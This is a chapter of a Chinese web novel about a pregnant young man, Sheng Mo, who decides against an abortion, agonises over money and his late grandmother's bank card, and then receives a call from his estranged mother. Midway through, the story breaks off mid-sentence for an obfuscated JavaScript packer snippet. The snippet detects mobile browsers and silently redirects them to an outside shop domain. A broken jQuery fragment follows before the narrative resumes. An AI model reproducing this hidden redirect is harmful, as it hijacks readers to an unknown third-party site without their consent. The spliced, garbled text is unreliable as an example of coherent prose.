文趣网 > 都市小说 > 失去引导型恋人之后 > 6. 第 6 章
    也许是打定了主意,或者是泪水与焦虑留在了昨夜,盛末第二天醒来竟意外的神清气爽。

    却没想到刷个牙的功夫把昨晚勉强咽下去的干巴饼干吐了个干净。

    盛末撑着洗手台缓了缓,靠在门框上,右手下意识摸上了的小腹。

    那里看起来没有任何变化,只是摸上去的手感很奇妙,温温的,软软的。

    盛末手心烫得厉害,赶忙挪开手,抬眼看着镜子里的人,竟然觉得有点陌生。

    他很久没有仔细观察自己了,镜中人的唇色泛白,眼下青得发黑,头发也很久没剪了,发梢直往眼睛里戳。

    他手上沾水把发丝胡乱往后搂起,用小皮筋在头顶扎起个迷你小啾啾。

    盛末对着镜子盯着自己看,红肿的双眼弯了弯,苍白的脸颊上漏出苦涩的笑意。他嫌弃自己笑得不好看,抿了抿嘴,湿润的指尖在镜子上抹出一道水迹笑脸。

    这样顺眼多了,他后退一步远距离欣赏。

    可是镜面上的水珠受重力作用向下聚集,汇聚在眼角形成一大滴水珠,啪唧一下迅速滑落。

    盛末看着笑脸转眼间流下眼泪,连忙上前抹了两下,很快他回过神,将镜子上的水迹全部擦除干净。

    暗笑自己怎么如此幼稚。

    像个小朋友。

    他身体里确实有个小朋友。

    盛末撑着洗手台思绪飞远,如果他能生下这个小孩,他会带着孩子洗澡时玩泡泡玩水,会给孩子穿上各式各样的漂亮小衣服。

    万一是个小女孩呢。

    他会给女儿买最华丽的小裙子,把她打扮成城堡里最漂亮的小公主。

    盛末又想了想,还是当女王更好。

    他竟然真的在认真思考当公主还是当女王哪个更幸福,却没注意女王公主本体正隔着他的肚皮磕在洗手池的陶瓷板上。

    盛末腰间冰凉,这才回过神,向后退了几步。眼前的场景慢慢消散,自己的身影在满是水痕的镜子里模糊不清。

    他摇摇头,一把撸下头顶的皮筋,将不切实际的想法统统赶出脑海。

    他原以为自己不喜欢小孩子,但当意识到自己面对孩子的去留摇摆不定拿不出主意时,才后知后觉反应过来,他也许是喜欢孩子的。

    他想要给孩子最好的衣食住行,想给孩子全部的爱与陪伴,将自己年幼时不曾得到的全部都给他,让它成为全世界最幸福的小孩儿。

    可是盛末没有坚实的经济基础,甚至让孩子生在双亲健全的幸福家庭都做不到。

    满足这些条件仅需要一个周锦川。

    盛末垂下头,无力的扯扯腰腹间被自己揉皱的衣料。

    他向学校请了假,磨磨蹭蹭穿衣服出门,还是尽早解决这个小东西吧。

    这样对大家都好。

    思虑再三,盛末选择了距离一院最远的二院。

    盛末还是想得太简单了。

    他再次从实践中认证了自己命中注定柳暗花明撞南山的事实,又一次捏着报告单百思不得其解。

    他已经错过药物流产的时间,只能接受人流手术。

    医生对着单子看了好几眼,嘱咐盛末带着家属来签字办理手续。

    盛末有点懵:“我自己可以吗?”

    “我们需要保证患者完全知情,应对麻醉风险以及术后照顾,要求有人陪同,你……”医生打量盛末几眼:

    “亲友也行,能来个照顾你做决断的就行。”

    盛末彻底沉默了,沉重的无力感打心底升腾。

    他坐在走廊的长椅上沉思许久,脑海里想不到一个此刻能放下一切处现在他身边的朋友。

    盛末从来没有长久的朋友,随着升学,工作,身边能说得上话的朋友一茬一茬换,随后就在他的人生中消失了。他也没什么社交,工作后接触到的只有同事,谁又能放下工作到这里陪他呢。

    盛末委屈得想哭,不仅因为狗血的检查结果,更是因为无常的命运。

    老天似乎最会折磨他,下手狠辣精准,猝不及防。

    他从小就是这样,想要的得不到,得到的留不住。

    兜兜转转身边空无一人,孤零零的活在世上。

    什么都没有。

    他烦躁的攥紧手指,将报告单捏得哗哗响,心头一跳。

    还有个孩子。

    他松了口气,或许这将是自己此生中唯一的陪伴了。

    命运雷暴洗劫枯败的树木,却也在劈折间浇灌了埋藏的种子,因果相伴,人生无常。

    恍惚间有亮晶晶的东西在盛末面前一闪而过,他本能的想去抓住那道光。

    他伸出手紧紧握住,不敢张开手观察,他害怕手心里空无一物,也害怕真的抓住了光。

    盛末又缩回了他的龟壳小窝。

    留下孩子意味着他从此将为两个人负责,他需要考虑的太多,比如金钱,时间,以及未来生活中的一切挑战……

    抛开心理负担外,接受手术确实减轻经济压力,但他竟然有一丝不甘心,他似乎一直在面临分别与失去,他得到的太少了,因此格外珍视曾经短暂在他生命中停留的人与物,直到后来一点点变得麻木。

    但孩子不一样。

    盛末说不上来到底哪里不一样,他舍不得将这个小生命归类,即使最后它依旧会离开。

    可它现在是乖巧待在盛末身体里的。

    盛末又一次坐在诊室门外的长椅上发呆,与上次同样的位置,同样的姿势,甚至因为同样的原因。

    他摇摇头,把所有扰乱思绪的情绪统统叉出去,尽力使心态慢慢平和。

    珍惜当下吧。

    他有点想吃牛奶吐司了。

    盛末撑着扶手站起身,下楼缴费,取药。

    最终看着医保余额里数字冷漠的骤减,拎着满满登登一大袋补剂离开了医院。

    坐在地铁上,盛末无聊的翻动塑料袋里的瓶瓶罐罐,挨个查看哪种补剂什么时候吃吃多少。

    全部翻遍,他再次抬起头,发现脑袋空空,什么也没记住。

    回去还得全部记下来贴在冰箱上。

    盛末站在地铁中转站停留许久,放弃绕路去买牛奶吐司,转身回了小公寓。

    晚上盛末盘腿坐在床上裹着被子,翻看自己各大银行账户的余额。

    零零总总加起来不多,他自己靠这微薄的存款加上每月更微薄的工资倒是能活,但是很难支撑他养孩子。

    现在住的小单间三十平左右,是学校分配的单身宿舍,墙壁薄得纸糊一样,基本不隔音。

    所以孩子生下来是一定要搬出去住的。

    那么单是房租就是一大笔开销……

    盛末脑袋发麻,开始质疑自己的决定。

    他闭着眼,将手机熄屏。

    尽量让自己保持客观,条理清晰的判断哪种情况属于万不得已,值得动用自己最后的存款。

    他从前会雷打不动将每月工资半数存进一张银行卡里,只进不出,当作没有这笔钱。

    那张卡是他奶奶的,当年给他打生活费用的。

    上学时生活拮据,盛末需要精打细算,结合打零工来保证自己能过活下去。

    所以他太害怕这张卡的余额逼近零。

    那时候奶奶疾病缠身,记性越来越差,经常忘记给他生活费,他不好意思催,只能自己默默兼职,想着能活下去就好。

    后来

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17831213|211338||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    大三课程满满挤进课表全部的空位,他不再有时间精力去校外兼职,眼看着余额由两位数变成一位数。

    直到真正挂零那天,父亲的电话比奶奶的转账更先一步到来。

    父亲那头言简意赅,奶奶去世了,给他转路费叫他回来奔丧。

    盛末在电话那头静静听着挂断的忙音,颤抖着肩膀,莫名其妙将余额数字和奶奶的生命值挂了钩。

    奶奶所有的遗物中只有这张卡属于他,此后他只要收到钱,便将一半转进去。

    久而久之也是一笔可观的数目。

    可是盛末私心不想动用里面的一分钱。

    他在两者间舍弃谁而感到迷茫,索性栽倒在床上,试图用睡意切断这团乱麻。

    觉睡不踏实,却也撑到了天亮。

    外面不知道什么时候下了雨,淅淅沥沥吵个不停,盛末爬起来关窗。

    冷风骤起,直往他领口钻,迫使他翻出件长袖外套披上,坐在单人沙发上望向窗外发呆。

    假已经请了,他不想销假回去上班。

    盛末给自己冲了杯豆奶,按照冰箱上磁铁吸住的纸条,倒出一堆胶囊药片,一个个吃掉。

    悬而未决的事总是会在他脑海中蹦哒,他支着脑袋,昏昏沉沉。

    盛末努力让自己不去想周锦川。

    他依赖周锦川并不是因为他能替他做出选择,而是周锦川出现往往会带来全新的选项。

    周锦川就像是盛末的答案,只要站在那里,烦恼都会迎刃而解。

    失去周锦川的盛末就像是开卷考试没带资料的悲催学生,只能在答题框中一遍遍焦虑的抄题干,没有任何作用,平白消耗时间。

    盛末机械啃面包,双手将塑料袋捏得哗啦啦响。

    他低头不经意间望向外套包裹严实的肚子,眼底流淌暖意。

    做决定的过程磨人,但下定决心似乎就在一瞬间。

    周锦川该负这个责任,但这不是绑架他的理由。并且涉及到许祈,盛末不愿打破现有的平衡。

    就这样挺好的。

    如果日后真的需要,他会去联系周锦川的。

    盛末这样哄自己。

    他擦擦嘴角的面包屑,双手放在肚子上轻轻摸了摸,将腰间的外套裹得更紧了些。

    抬眼看看窗外,天阴沉沉的,雨势渐重。

    盛末还是穿好外套,销了假继续上班。

    绩效还是能不扣就不扣吧。

    除去那张卡,现有的存款还能撑些时日,即使每月工资减少,毕竟足够稳定,糊口还是够用的。

    盛末不知道自己是什么时候转变的思想。

    他给不了孩子富裕的经济条件,但他能给孩子足够的陪伴和全部的爱。

    就当是因祸得福吧,管理实验室的工作没有成绩上的压力,他有足够多的时间,现在照顾自己,将来照顾孩子。

    也挺好的。

    相比于读书时期置身地狱般的窘迫,盛末觉得自己不过是从天堂落回了人间,哭闹没用,他能坦然接受。

    日子总会越过越好的。

    实验楼里凉飕飕的,盛末倒杯热水,坐等打卡下班。

    他双手捧着杯壁汲取温暖,播放着视频的手机震动两下,接着来电铃声响起。

    一串陌生数字,没有任何备注。

    盛末看过去,没有理会,静等着铃声自动挂断。

    两分钟后,这串号码再次打来。

    杯壁将盛末的指尖烫得通红,他犹豫片刻,还是在挂断前按下接听键。

    “盛末吗?我是妈妈……”

    “……”

    盛末仔细辨认这个陌生的声音,沉默着没有回应。